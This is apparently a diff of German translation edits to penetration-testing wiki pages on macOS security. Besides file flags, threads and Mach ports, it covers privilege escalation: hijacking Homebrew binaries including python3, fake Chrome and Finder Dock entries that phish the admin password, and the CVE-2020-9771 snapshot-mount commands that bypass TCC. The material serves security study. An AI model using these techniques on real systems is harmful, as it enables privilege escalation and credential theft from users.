- **`restricted`**: Dieses Flag schützt die Datei **durch SIP** (Sie können dieses Flag nicht zu einer Datei hinzufügen).
- **`Sticky bit`**: Wenn ein Verzeichnis mit Sticky Bit, **kann nur** der **Verzeichnisbesitzer oder Root Dateien umbenennen oder löschen**. Typischerweise wird dies im /tmp-Verzeichnis gesetzt, um zu verhindern, dass normale Benutzer die Dateien anderer Benutzer löschen oder verschieben.
- **`Sticky bit`**: Wenn ein Verzeichnis mit Sticky-Bit, **kann nur** der **Verzeichnisbesitzer oder Root Dateien umbenennen oder löschen**. Typischerweise wird dies im /tmp-Verzeichnis gesetzt, um zu verhindern, dass normale Benutzer die Dateien anderer Benutzer löschen oder verschieben.
Alle Flags sind in der Datei `sys/stat.h` zu finden (finden Sie sie mit `mdfind stat.h | grep stat.h`) und sind:
Alle Flags finden Sie in der Datei `sys/stat.h` (finden Sie sie mit `mdfind stat.h | grep stat.h`) und sind:
- `UF_SETTABLE` 0x0000ffff: Maske der vom Eigentümer änderbaren Flags.
- `UF_NODUMP` 0x00000001: Datei nicht dumpen.
@ -152,11 +152,11 @@ Alle Flags sind in der Datei `sys/stat.h` zu finden (finden Sie sie mit `mdfind
- `SF_RESTRICTED` 0x00080000: Berechtigung erforderlich zum Schreiben.
- `SF_NOUNLINK` 0x00100000: Element darf nicht entfernt, umbenannt oder gemountet werden.
- `SF_FIRMLINK` 0x00800000: Datei ist ein Firmlink.
- `SF_DATALESS` 0x40000000: Datei ist ein dataloses Objekt.
- `SF_DATALESS` 0x40000000: Datei ist ein dataless Objekt.
### **Datei-ACLs**
Datei-**ACLs** enthalten **ACE** (Access Control Entries), bei denen granularere Berechtigungen verschiedenen Benutzern zugewiesen werden können.
Datei **ACLs** enthalten **ACE** (Access Control Entries), wo detailliertere **Berechtigungen** verschiedenen Benutzern zugewiesen werden können.
Es ist möglich, einem **Verzeichnis** diese Berechtigungen zu gewähren: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
Und für eine **Datei**: `read`, `write`, `append`, `execute`.
@ -166,7 +166,7 @@ Wenn die Datei ACLs enthält, werden Sie **ein "+" finden, wenn Sie die Berechti
ls -ld Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
```
Sie können die **ACLs** der Datei mit folgendem Befehl lesen:
Sie können **die ACLs** der Datei mit folgendem Befehl lesen:
```bash
ls -lde Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
@ -183,15 +183,15 @@ Erweiterte Attribute haben einen Namen und einen beliebigen gewünschten Wert un
- `com.apple.resourceFork`: Kompatibilität mit Resource Fork. Auch sichtbar als `filename/..namedfork/rsrc`
- `com.apple.quarantine`: MacOS: Gatekeeper-Quarantänemechanismus (III/6)
- `metadata:*`: MacOS: verschiedene Metadaten, wie `_backup_excludeItem` oder `kMD*`
- `com.apple.lastuseddate` (#PS): Letztes Dateinutzungsdatum
- `com.apple.lastuseddate` (#PS): Datum der letzten Dateinutzung
- `com.apple.FinderInfo`: MacOS: Finder-Informationen (z.B. Farb-Tags)
- `com.apple.TextEncoding`: Gibt die Textkodierung von ASCII-Textdateien an
- `com.apple.logd.metadata`: Wird von logd für Dateien in `/var/db/diagnostics` verwendet
- `com.apple.genstore.*`: Generational storage (`/.DocumentRevisions-V100` im Wurzelverzeichnis des Dateisystems)
- `com.apple.rootless`: MacOS: Wird von System Integrity Protection verwendet, um Dateien zu kennzeichnen (III/10)
- `com.apple.rootless`: MacOS: Wird von der System Integrity Protection verwendet, um Dateien zu kennzeichnen (III/10)
- `com.apple.uuidb.boot-uuid`: logd-Markierungen von Boot-Epochen mit eindeutiger UUID
- `com.apple.decmpfs`: MacOS: Transparente Dateikompression (II/7)
- `com.apple.cprotect`: \*OS: Verschlüsselungsdaten pro Datei (III/11)
- `com.apple.cprotect`: \*OS: Per-Datei-Verschlüsselungsdaten (III/11)
- `com.apple.installd.*`: \*OS: Metadaten, die von installd verwendet werden, z.B. `installType`, `uniqueInstallID`
### Resource Forks | macOS ADS
@ -221,7 +221,7 @@ Das Tool afscexpand kann verwendet werden, um eine Datei zwangsweise zu dekompri
## **Universelle Binaries &** Mach-o Format
Mac OS-Binaries werden normalerweise als **universelle Binaries** kompiliert. Eine **universelle Binary** kann **mehrere Architekturen in derselben Datei unterstützen**.
Mac OS-Binaries werden normalerweise als **universelle Binaries** kompiliert. Ein **universelles Binary** kann **mehrere Architekturen in derselben Datei unterstützen**.
{{#ref}}
universal-binaries-and-mach-o-format.md

View File

@ -12,7 +12,7 @@ macos-security-protections/macos-tcc/
## Linux Privesc
Bitte beachten Sie, dass **die meisten Tricks zur Privilegieneskalation, die Linux/Unix betreffen, auch MacOS**-Maschinen betreffen werden. Sehen Sie sich also an:
Bitte beachten Sie, dass **die meisten Tricks zur Privilegieneskalation, die Linux/Unix betreffen, auch MacOS**-Maschinen betreffen werden. Schauen Sie sich also an:
{{#ref}}
../../linux-hardening/privilege-escalation/
@ -39,14 +39,14 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
Beachten Sie, dass ein Benutzer, der das Terminal verwendet, höchstwahrscheinlich **Homebrew installiert** hat. Daher ist es möglich, Binärdateien in **`/opt/homebrew/bin`** zu hijacken.
Beachten Sie, dass ein Benutzer, der das Terminal verwendet, höchstwahrscheinlich **Homebrew installiert** hat. Es ist also möglich, Binärdateien in **`/opt/homebrew/bin`** zu hijacken.
### Dock-Imitation
Mit etwas **Social Engineering** könnten Sie **zum Beispiel Google Chrome imitieren** und tatsächlich Ihr eigenes Skript ausführen:
{{#tabs}}
{{#tab name="Chrome Impersonation"}}
{{#tab name="Chrome-Imitation"}}
Einige Vorschläge:
- Überprüfen Sie im Dock, ob es ein Chrome gibt, und entfernen Sie in diesem Fall **diesen Eintrag** und **fügen Sie** den **falschen** **Chrome-Eintrag an derselben Stelle** im Dock-Array hinzu.
@ -124,9 +124,9 @@ killall Dock
{{#tab name="Finder Impersonation"}}
Einige Vorschläge:
- Sie **können den Finder nicht aus dem Dock entfernen**, also wenn Sie ihn zum Dock hinzufügen möchten, könnten Sie den gefälschten Finder direkt neben den echten setzen. Dazu müssen Sie **den gefälschten Finder-Eintrag am Anfang des Dock-Arrays hinzufügen**.
- Sie **können den Finder nicht aus dem Dock entfernen**, also wenn Sie ihn zum Dock hinzufügen möchten, könnten Sie den gefälschten Finder direkt neben den echten setzen. Dafür müssen Sie **den gefälschten Finder-Eintrag am Anfang des Dock-Arrays hinzufügen**.
- Eine andere Möglichkeit ist, ihn nicht im Dock zu platzieren und ihn einfach zu öffnen, "Finder fragt, um den Finder zu steuern" ist nicht so seltsam.
- Eine weitere Möglichkeit, um **ohne Passwortabfrage** auf Root zu eskalieren, ist, den Finder wirklich nach dem Passwort zu fragen, um eine privilegierte Aktion auszuführen:
- Eine weitere Möglichkeit, um **ohne Passwortabfrage** auf root zu eskalieren, ist, den Finder wirklich nach dem Passwort zu fragen, um eine privilegierte Aktion auszuführen:
- Bitten Sie den Finder, eine neue **`sudo`**-Datei nach **`/etc/pam.d`** zu kopieren (Die Eingabeaufforderung, die nach dem Passwort fragt, wird anzeigen, dass "Finder sudo kopieren möchte")
- Bitten Sie den Finder, ein neues **Authorization Plugin** zu kopieren (Sie könnten den Dateinamen kontrollieren, sodass die Eingabeaufforderung, die nach dem Passwort fragt, anzeigen wird, dass "Finder Finder.bundle kopieren möchte")
```bash
@ -206,7 +206,7 @@ killall Dock
### CVE-2020-9771 - mount_apfs TCC-Umgehung und Rechteausweitung
**Jeder Benutzer** (auch unprivilegierte) kann einen Time Machine-Snapshot erstellen und einbinden und **auf ALLE Dateien** dieses Snapshots zugreifen.\
Die **einzige Berechtigung**, die benötigt wird, ist, dass die verwendete Anwendung (wie `Terminal`) **Vollzugriff auf die Festplatte** (FDA) benötigt (`kTCCServiceSystemPolicyAllfiles`), was von einem Administrator gewährt werden muss.
Die **einzige Berechtigung**, die benötigt wird, ist, dass die verwendete Anwendung (wie `Terminal`) **Vollzugriff auf das Laufwerk** (FDA) benötigt (`kTCCServiceSystemPolicyAllfiles`), was von einem Administrator gewährt werden muss.
```bash
# Create snapshot
tmutil localsnapshot
@ -226,12 +226,13 @@ mkdir /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
Eine detailliertere Erklärung kann [**im Originalbericht gefunden werden**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
Eine detailliertere Erklärung kann [**im ursprünglichen Bericht**](https://theevilbit.github.io/posts/cve_2020_9771/)** gefunden werden.**
## Sensible Informationen
Dies kann nützlich sein, um Privilegien zu eskalieren:
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md
{{#endref}}

View File

@ -14,7 +14,7 @@ Dann wurde **`posix_spawn`** eingeführt, das **`vfork`** und **`execve`** in ei
- `POSUX_SPAWN_SETSIGDEF`: Setzt das Standardverhalten für Signale
- `POSIX_SPAWN_SETSIGMASK`: Setzt die Signalmaske
- `POSIX_SPAWN_SETEXEC`: Exec im selben Prozess (wie `execve` mit mehr Optionen)
- `POSIX_SPAWN_START_SUSPENDED`: Startet im suspendierten Zustand
- `POSIX_SPAWN_START_SUSPENDED`: Startet angehalten
- `_POSIX_SPAWN_DISABLE_ASLR`: Startet ohne ASLR
- `_POSIX_SPAWN_NANO_ALLOCATOR:` Verwendet den Nano-Allocator von libmalloc
- `_POSIX_SPAWN_ALLOW_DATA_EXEC:` Erlaubt `rwx` auf Datensegmenten
@ -31,10 +31,10 @@ PIDs, Prozessidentifikatoren, identifizieren einen einzigartigen Prozess. In XNU
### Prozessgruppen, Sitzungen & Koalitionen
**Prozesse** können in **Gruppen** eingefügt werden, um die Handhabung zu erleichtern. Zum Beispiel werden Befehle in einem Shell-Skript in derselben Prozessgruppe sein, sodass es möglich ist, sie zusammen zu **signalisieren**, indem man beispielsweise kill verwendet.\
**Prozesse** können in **Gruppen** eingefügt werden, um die Handhabung zu erleichtern. Zum Beispiel werden Befehle in einem Shell-Skript in derselben Prozessgruppe sein, sodass es möglich ist, **sie zusammen zu signalisieren**, beispielsweise mit kill.\
Es ist auch möglich, **Prozesse in Sitzungen zu gruppieren**. Wenn ein Prozess eine Sitzung startet (`setsid(2)`), werden die Kindprozesse in die Sitzung gesetzt, es sei denn, sie starten ihre eigene Sitzung.
Koalition ist eine weitere Möglichkeit, Prozesse in Darwin zu gruppieren. Ein Prozess, der einer Koalition beitritt, ermöglicht den Zugriff auf Poolressourcen, teilt ein Hauptbuch oder steht Jetsam gegenüber. Koalitionen haben unterschiedliche Rollen: Führer, XPC-Dienst, Erweiterung.
Koalition ist eine weitere Möglichkeit, Prozesse in Darwin zu gruppieren. Ein Prozess, der einer Koalition beitritt, kann auf Poolressourcen zugreifen, ein Hauptbuch teilen oder Jetsam gegenüberstehen. Koalitionen haben unterschiedliche Rollen: Führer, XPC-Dienst, Erweiterung.
### Berechtigungen & Personae
@ -58,8 +58,8 @@ char persona_name[MAXLOGNAME + 1];
```
## Threads Grundinformationen
1. **POSIX-Threads (pthreads):** macOS unterstützt POSIX-Threads (`pthreads`), die Teil einer standardisierten Thread-API für C/C++ sind. Die Implementierung von pthreads in macOS befindet sich in `/usr/lib/system/libsystem_pthread.dylib`, die aus dem öffentlich verfügbaren `libpthread`-Projekt stammt. Diese Bibliothek bietet die notwendigen Funktionen zur Erstellung und Verwaltung von Threads.
2. **Threads erstellen:** Die Funktion `pthread_create()` wird verwendet, um neue Threads zu erstellen. Intern ruft diese Funktion `bsdthread_create()` auf, einen niedrigeren Systemaufruf, der spezifisch für den XNU-Kernel ist (der Kernel, auf dem macOS basiert). Dieser Systemaufruf verwendet verschiedene Flags, die aus `pthread_attr` (Attributen) abgeleitet sind und das Verhalten des Threads spezifizieren, einschließlich der Planungsrichtlinien und der Stackgröße.
1. **POSIX-Threads (pthreads):** macOS unterstützt POSIX-Threads (`pthreads`), die Teil einer standardisierten Thread-API für C/C++ sind. Die Implementierung von pthreads in macOS befindet sich in `/usr/lib/system/libsystem_pthread.dylib`, die aus dem öffentlich verfügbaren `libpthread`-Projekt stammt. Diese Bibliothek bietet die notwendigen Funktionen zum Erstellen und Verwalten von Threads.
2. **Threads erstellen:** Die Funktion `pthread_create()` wird verwendet, um neue Threads zu erstellen. Intern ruft diese Funktion `bsdthread_create()` auf, einen niedrigeren Systemaufruf, der spezifisch für den XNU-Kernel (auf dem macOS basiert) ist. Dieser Systemaufruf nimmt verschiedene Flags entgegen, die aus `pthread_attr` (Attributen) abgeleitet sind und das Verhalten des Threads, einschließlich der Planungsrichtlinien und der Stackgröße, spezifizieren.
- **Standard-Stackgröße:** Die Standard-Stackgröße für neue Threads beträgt 512 KB, was für typische Operationen ausreichend ist, aber über Thread-Attribute angepasst werden kann, wenn mehr oder weniger Platz benötigt wird.
3. **Thread-Initialisierung:** Die Funktion `__pthread_init()` ist während der Thread-Einrichtung entscheidend und nutzt das Argument `env[]`, um Umgebungsvariablen zu parsen, die Details über den Standort und die Größe des Stacks enthalten können.
@ -70,19 +70,19 @@ char persona_name[MAXLOGNAME + 1];
#### Synchronisationsmechanismen
Um den Zugriff auf gemeinsame Ressourcen zu verwalten und Wettlaufbedingungen zu vermeiden, bietet macOS mehrere Synchronisationsprimitive. Diese sind entscheidend in Multi-Threading-Umgebungen, um die Datenintegrität und Systemstabilität zu gewährleisten:
Um den Zugriff auf gemeinsame Ressourcen zu verwalten und Wettlaufbedingungen zu vermeiden, bietet macOS mehrere Synchronisationsprimitive. Diese sind in Multi-Threading-Umgebungen entscheidend, um die Datenintegrität und Systemstabilität zu gewährleisten:
1. **Mutexe:**
- **Regulärer Mutex (Signatur: 0x4D555458):** Standard-Mutex mit einem Speicherbedarf von 60 Bytes (56 Bytes für den Mutex und 4 Bytes für die Signatur).
- **Schneller Mutex (Signatur: 0x4d55545A):** Ähnlich wie ein regulärer Mutex, aber für schnellere Operationen optimiert, ebenfalls 60 Bytes groß.
2. **Bedingungsvariablen:**
- Wird verwendet, um auf das Eintreten bestimmter Bedingungen zu warten, mit einer Größe von 44 Bytes (40 Bytes plus eine 4-Byte-Signatur).
- **Attribute der Bedingungsvariablen (Signatur: 0x434e4441):** Konfigurationsattribute für Bedingungsvariablen, mit einer Größe von 12 Bytes.
- **Attribute der Bedingungsvariablen (Signatur: 0x434e4441):** Konfigurationsattribute für Bedingungsvariablen, 12 Bytes groß.
3. **Once-Variable (Signatur: 0x4f4e4345):**
- Stellt sicher, dass ein Stück Initialisierungscode nur einmal ausgeführt wird. Ihre Größe beträgt 12 Bytes.
4. **Lese-Schreib-Sperren:**
- Ermöglicht mehreren Lesern oder einem Schreiber gleichzeitig den Zugriff und erleichtert den effizienten Zugriff auf gemeinsame Daten.
- **Lese-Schreib-Sperre (Signatur: 0x52574c4b):** Größe von 196 Bytes.
- Erlaubt mehreren Lesern oder einem Schreiber gleichzeitig den Zugriff und erleichtert den effizienten Zugriff auf gemeinsame Daten.
- **Lese-Schreib-Sperre (Signatur: 0x52574c4b):** 196 Bytes groß.
- **Attribute der Lese-Schreib-Sperre (Signatur: 0x52574c41):** Attribute für Lese-Schreib-Sperren, 20 Bytes groß.
> [!TIP]
@ -90,7 +90,7 @@ Um den Zugriff auf gemeinsame Ressourcen zu verwalten und Wettlaufbedingungen zu
### Thread-lokale Variablen (TLV)
**Thread-lokale Variablen (TLV)** im Kontext von Mach-O-Dateien (dem Format für ausführbare Dateien in macOS) werden verwendet, um Variablen zu deklarieren, die spezifisch für **jeden Thread** in einer Multi-Thread-Anwendung sind. Dies stellt sicher, dass jeder Thread seine eigene separate Instanz einer Variablen hat, was eine Möglichkeit bietet, Konflikte zu vermeiden und die Datenintegrität aufrechtzuerhalten, ohne explizite Synchronisationsmechanismen wie Mutexe zu benötigen.
**Thread-lokale Variablen (TLV)** im Kontext von Mach-O-Dateien (dem Format für ausführbare Dateien in macOS) werden verwendet, um Variablen zu deklarieren, die spezifisch für **jeden Thread** in einer Multi-Thread-Anwendung sind. Dies stellt sicher, dass jeder Thread seine eigene separate Instanz einer Variablen hat, was eine Möglichkeit bietet, Konflikte zu vermeiden und die Datenintegrität aufrechtzuerhalten, ohne explizite Synchronisationsmechanismen wie Mutex zu benötigen.
In C und verwandten Sprachen können Sie eine thread-lokale Variable mit dem **`__thread`**-Schlüsselwort deklarieren. So funktioniert es in Ihrem Beispiel:
```c
@ -102,16 +102,16 @@ tlv_var = 10;
```
Dieser Abschnitt definiert `tlv_var` als eine thread-lokale Variable. Jeder Thread, der diesen Code ausführt, hat seine eigene `tlv_var`, und Änderungen, die ein Thread an `tlv_var` vornimmt, wirken sich nicht auf `tlv_var` in einem anderen Thread aus.
Im Mach-O-Binärformat sind die Daten, die mit thread-lokalen Variablen verbunden sind, in spezifischen Abschnitten organisiert:
Im Mach-O-Binärformat sind die Daten zu thread-lokalen Variablen in spezifischen Abschnitten organisiert:
- **`__DATA.__thread_vars`**: Dieser Abschnitt enthält die Metadaten über die thread-lokalen Variablen, wie deren Typen und Initialisierungsstatus.
- **`__DATA.__thread_vars`**: Dieser Abschnitt enthält die Metadaten zu den thread-lokalen Variablen, wie deren Typen und Initialisierungsstatus.
- **`__DATA.__thread_bss`**: Dieser Abschnitt wird für thread-lokale Variablen verwendet, die nicht explizit initialisiert sind. Es ist ein Teil des Speichers, der für null-initialisierte Daten reserviert ist.
Mach-O bietet auch eine spezifische API namens **`tlv_atexit`**, um thread-lokale Variablen zu verwalten, wenn ein Thread beendet wird. Diese API ermöglicht es Ihnen, **Destruktoren** zu registrieren spezielle Funktionen, die thread-lokale Daten bereinigen, wenn ein Thread endet.
Mach-O bietet auch eine spezifische API namens **`tlv_atexit`**, um thread-lokale Variablen zu verwalten, wenn ein Thread beendet wird. Diese API ermöglicht es, **Destruktoren** zu registrieren spezielle Funktionen, die thread-lokale Daten bereinigen, wenn ein Thread endet.
### Thread-Prioritäten
Das Verständnis von Thread-Prioritäten beinhaltet, wie das Betriebssystem entscheidet, welche Threads ausgeführt werden und wann. Diese Entscheidung wird durch das Prioritätsniveau beeinflusst, das jedem Thread zugewiesen ist. In macOS und Unix-ähnlichen Systemen wird dies mit Konzepten wie `nice`, `renice` und Quality of Service (QoS) Klassen gehandhabt.
Das Verständnis von Thread-Prioritäten beinhaltet, wie das Betriebssystem entscheidet, welche Threads wann ausgeführt werden. Diese Entscheidung wird durch das Prioritätsniveau beeinflusst, das jedem Thread zugewiesen ist. In macOS und Unix-ähnlichen Systemen wird dies mit Konzepten wie `nice`, `renice` und Quality of Service (QoS) Klassen gehandhabt.
#### Nice und Renice
@ -119,19 +119,19 @@ Das Verständnis von Thread-Prioritäten beinhaltet, wie das Betriebssystem ents
- Der `nice`-Wert eines Prozesses ist eine Zahl, die seine Priorität beeinflusst. Jeder Prozess hat einen nice-Wert, der von -20 (höchste Priorität) bis 19 (niedrigste Priorität) reicht. Der Standard-nice-Wert, wenn ein Prozess erstellt wird, ist typischerweise 0.
- Ein niedrigerer nice-Wert (näher an -20) macht einen Prozess "egoistischer" und gibt ihm mehr CPU-Zeit im Vergleich zu anderen Prozessen mit höheren nice-Werten.
2. **Renice:**
- `renice` ist ein Befehl, der verwendet wird, um den nice-Wert eines bereits laufenden Prozesses zu ändern. Dies kann verwendet werden, um die Priorität von Prozessen dynamisch anzupassen, indem entweder ihre CPU-Zeit-Zuweisung erhöht oder verringert wird, basierend auf neuen nice-Werten.
- Wenn ein Prozess beispielsweise vorübergehend mehr CPU-Ressourcen benötigt, könnten Sie seinen nice-Wert mit `renice` senken.
- `renice` ist ein Befehl, der verwendet wird, um den nice-Wert eines bereits laufenden Prozesses zu ändern. Dies kann verwendet werden, um die Priorität von Prozessen dynamisch anzupassen, indem die Zuteilung der CPU-Zeit basierend auf neuen nice-Werten erhöht oder verringert wird.
- Zum Beispiel, wenn ein Prozess vorübergehend mehr CPU-Ressourcen benötigt, könnte man seinen nice-Wert mit `renice` senken.
#### Quality of Service (QoS) Klassen
QoS-Klassen sind ein modernerer Ansatz zur Handhabung von Thread-Prioritäten, insbesondere in Systemen wie macOS, die **Grand Central Dispatch (GCD)** unterstützen. QoS-Klassen ermöglichen es Entwicklern, Arbeiten in verschiedene Ebenen basierend auf deren Wichtigkeit oder Dringlichkeit zu **kategorisieren**. macOS verwaltet die Thread-Priorisierung automatisch basierend auf diesen QoS-Klassen:
1. **Benutzerinteraktiv:**
- Diese Klasse ist für Aufgaben, die derzeit mit dem Benutzer interagieren oder sofortige Ergebnisse erfordern, um eine gute Benutzererfahrung zu bieten. Diese Aufgaben erhalten die höchste Priorität, um die Benutzeroberfläche reaktionsfähig zu halten (z. B. Animationen oder Ereignisbehandlung).
- Diese Klasse ist für Aufgaben, die derzeit mit dem Benutzer interagieren oder sofortige Ergebnisse erfordern, um eine gute Benutzererfahrung zu bieten. Diese Aufgaben erhalten die höchste Priorität, um die Benutzeroberfläche reaktionsschnell zu halten (z. B. Animationen oder Ereignisbehandlung).
2. **Benutzerinitiiert:**
- Aufgaben, die der Benutzer initiiert und sofortige Ergebnisse erwartet, wie das Öffnen eines Dokuments oder das Klicken auf eine Schaltfläche, die Berechnungen erfordert. Diese haben eine hohe Priorität, liegen jedoch unter der Benutzerinteraktivität.
- Aufgaben, die der Benutzer initiiert und sofortige Ergebnisse erwartet, wie das Öffnen eines Dokuments oder das Klicken auf eine Schaltfläche, die Berechnungen erfordert. Diese haben eine hohe Priorität, liegen aber unter Benutzerinteraktiv.
3. **Dienstprogramm:**
- Diese Aufgaben laufen lange und zeigen typischerweise einen Fortschrittsindikator an (z. B. Dateien herunterladen, Daten importieren). Sie haben eine niedrigere Priorität als benutzerinitiierte Aufgaben und müssen nicht sofort abgeschlossen werden.
- Diese Aufgaben sind langlaufend und zeigen typischerweise einen Fortschrittsindikator an (z. B. Dateien herunterladen, Daten importieren). Sie haben eine niedrigere Priorität als benutzerinitiierte Aufgaben und müssen nicht sofort abgeschlossen werden.
4. **Hintergrund:**
- Diese Klasse ist für Aufgaben, die im Hintergrund arbeiten und für den Benutzer nicht sichtbar sind. Dazu können Aufgaben wie Indizierung, Synchronisierung oder Backups gehören. Sie haben die niedrigste Priorität und einen minimalen Einfluss auf die Systemleistung.
@ -141,11 +141,11 @@ Darüber hinaus gibt es verschiedene **Thread-Planungspolitiken**, die eine Reih
## MacOS Prozessmissbrauch
MacOS bietet, wie jedes andere Betriebssystem, eine Vielzahl von Methoden und Mechanismen, damit **Prozesse interagieren, kommunizieren und Daten teilen**. Während diese Techniken für das effiziente Funktionieren des Systems unerlässlich sind, können sie auch von Bedrohungsakteuren missbraucht werden, um **böswillige Aktivitäten durchzuführen**.
MacOS bietet, wie jedes andere Betriebssystem, eine Vielzahl von Methoden und Mechanismen, damit **Prozesse interagieren, kommunizieren und Daten teilen**. Während diese Techniken für eine effiziente Systemfunktionalität unerlässlich sind, können sie auch von Bedrohungsakteuren missbraucht werden, um **böswillige Aktivitäten** durchzuführen.
### Bibliotheksinjektion
Die Bibliotheksinjektion ist eine Technik, bei der ein Angreifer **einen Prozess zwingt, eine bösartige Bibliothek zu laden**. Nach der Injektion läuft die Bibliothek im Kontext des Zielprozesses und gibt dem Angreifer die gleichen Berechtigungen und den gleichen Zugriff wie der Prozess.
Die Bibliotheksinjektion ist eine Technik, bei der ein Angreifer **einen Prozess zwingt, eine bösartige Bibliothek zu laden**. Nach der Injektion läuft die Bibliothek im Kontext des Zielprozesses und gibt dem Angreifer die gleichen Berechtigungen und Zugriffe wie dem Prozess.
{{#ref}}
macos-library-injection/
@ -177,7 +177,7 @@ macos-electron-applications-injection.md
### Chromium-Injektion
Es ist möglich, die Flags `--load-extension` und `--use-fake-ui-for-media-stream` zu verwenden, um einen **Man-in-the-Browser-Angriff** durchzuführen, der es ermöglicht, Tastenanschläge, Datenverkehr, Cookies zu stehlen und Skripte in Seiten einzufügen...:
Es ist möglich, die Flags `--load-extension` und `--use-fake-ui-for-media-stream` zu verwenden, um einen **Man-in-the-Browser-Angriff** durchzuführen, der es ermöglicht, Tastenanschläge, Datenverkehr, Cookies zu stehlen und Skripte in Seiten einzufügen:
{{#ref}}
macos-chromium-injection.md
@ -234,7 +234,7 @@ Beachten Sie, dass ausführbare Dateien, die mit **`pyinstaller`** kompiliert wu
> [!CAUTION]
> Insgesamt konnte ich keinen Weg finden, um Python willkürlichen Code durch den Missbrauch von Umgebungsvariablen auszuführen.\
> Die meisten Leute installieren jedoch Python mit **Homebrew**, was Python an einem **beschreibbaren Ort** für den Standard-Admin-Benutzer installiert. Sie können es mit etwas wie folgendem übernehmen:
> Die meisten Leute installieren Python jedoch mit **Homebrew**, was Python an einem **beschreibbaren Ort** für den Standard-Admin-Benutzer installiert. Sie können es mit etwas wie folgendem übernehmen:
>
> ```bash
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
@ -257,7 +257,7 @@ Beachten Sie, dass ausführbare Dateien, die mit **`pyinstaller`** kompiliert wu
- Verwendung von **Umgebungsvariablen**: Es wird die Anwesenheit einer der folgenden Umgebungsvariablen überwacht: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** und **`ELECTRON_RUN_AS_NODE`**
- Verwendung von **`task_for_pid`**-Aufrufen: Um zu erkennen, wann ein Prozess den **Task-Port eines anderen** anfordern möchte, was das Injizieren von Code in den Prozess ermöglicht.
- **Electron-App-Parameter**: Jemand kann die Befehlszeilenargumente **`--inspect`**, **`--inspect-brk`** und **`--remote-debugging-port`** verwenden, um eine Electron-App im Debugging-Modus zu starten und somit Code in sie zu injizieren.
- Verwendung von **Symlinks** oder **Hardlinks**: Typischerweise ist der häufigste Missbrauch, einen Link mit unseren Benutzerprivilegien zu **platzieren** und **auf einen Ort mit höheren Privilegien** zu verweisen. Die Erkennung ist sehr einfach für sowohl Hardlinks als auch Symlinks. Wenn der Prozess, der den Link erstellt, ein **anderes Privilegieniveau** als die Zieldatei hat, erstellen wir einen **Alarm**. Leider ist es im Fall von Symlinks nicht möglich, zu blockieren, da wir keine Informationen über das Ziel des Links vor der Erstellung haben. Dies ist eine Einschränkung des EndpointSecurity-Frameworks von Apple.
- Verwendung von **Symlinks** oder **Hardlinks**: Typischerweise ist der häufigste Missbrauch, einen Link mit unseren Benutzerprivilegien zu **platzieren** und **auf einen Ort mit höheren Privilegien** zu verweisen. Die Erkennung ist sehr einfach für sowohl Hardlinks als auch Symlinks. Wenn der Prozess, der den Link erstellt, ein **anderes Berechtigungsniveau** als die Zieldatei hat, erstellen wir einen **Alarm**. Leider ist es im Fall von Symlinks nicht möglich, zu blockieren, da wir keine Informationen über das Ziel des Links vor der Erstellung haben. Dies ist eine Einschränkung des EndpointSecurity-Frameworks von Apple.
### Aufrufe von anderen Prozessen

View File

@ -20,30 +20,30 @@ Ein Prozess kann auch einen Portnamen mit bestimmten Rechten **an eine andere Ta
Portrechte, die definieren, welche Operationen eine Task ausführen kann, sind entscheidend für diese Kommunikation. Die möglichen **Portrechte** sind ([Definitionen hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Empfangsrecht**, das das Empfangen von an den Port gesendeten Nachrichten erlaubt. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System **nur ein Empfangsrecht für jeden Port** geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
- **Empfangsrecht**, das das Empfangen von Nachrichten ermöglicht, die an den Port gesendet werden. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System **nur ein Empfangsrecht für jeden Port** geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
- Eine **Task mit dem Empfangsrecht** kann Nachrichten empfangen und **Sende-Rechte erstellen**, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die **eigene Task das Empfangsrecht über ihren Port**.
- Wenn der Besitzer des Empfangsrechts **stirbt** oder es tötet, wird das **Sende-Recht nutzlos (toter Name)**.
- **Sende-Recht**, das das Senden von Nachrichten an den Port erlaubt.
- **Sende-Recht**, das das Senden von Nachrichten an den Port ermöglicht.
- Das Sende-Recht kann **kloniert** werden, sodass eine Task, die ein Sende-Recht besitzt, das Recht klonen und **einer dritten Task gewähren** kann.
- Beachten Sie, dass **Portrechte** auch durch Mach-Nachrichten **übertragen** werden können.
- **Send-once-Recht**, das das Senden einer Nachricht an den Port erlaubt und dann verschwindet.
- Beachten Sie, dass **Portrechte** auch durch Mac-Nachrichten **übertragen** werden können.
- **Send-once-Recht**, das das Senden einer Nachricht an den Port ermöglicht und dann verschwindet.
- Dieses Recht **kann nicht** **kloniert** werden, aber es kann **verschoben** werden.
- **Portset-Recht**, das ein _Portset_ anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Portset dequeuert eine Nachricht aus einem der enthaltenen Ports. Portsets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie `select`/`poll`/`epoll`/`kqueue` in Unix.
- **Port-Set-Recht**, das ein _Port-Set_ anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Port-Set dequeuet eine Nachricht von einem der enthaltenen Ports. Port-Sets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie `select`/`poll`/`epoll`/`kqueue` in Unix.
- **Toter Name**, der kein tatsächliches Portrecht ist, sondern lediglich ein Platzhalter. Wenn ein Port zerstört wird, verwandeln sich alle bestehenden Portrechte für den Port in tote Namen.
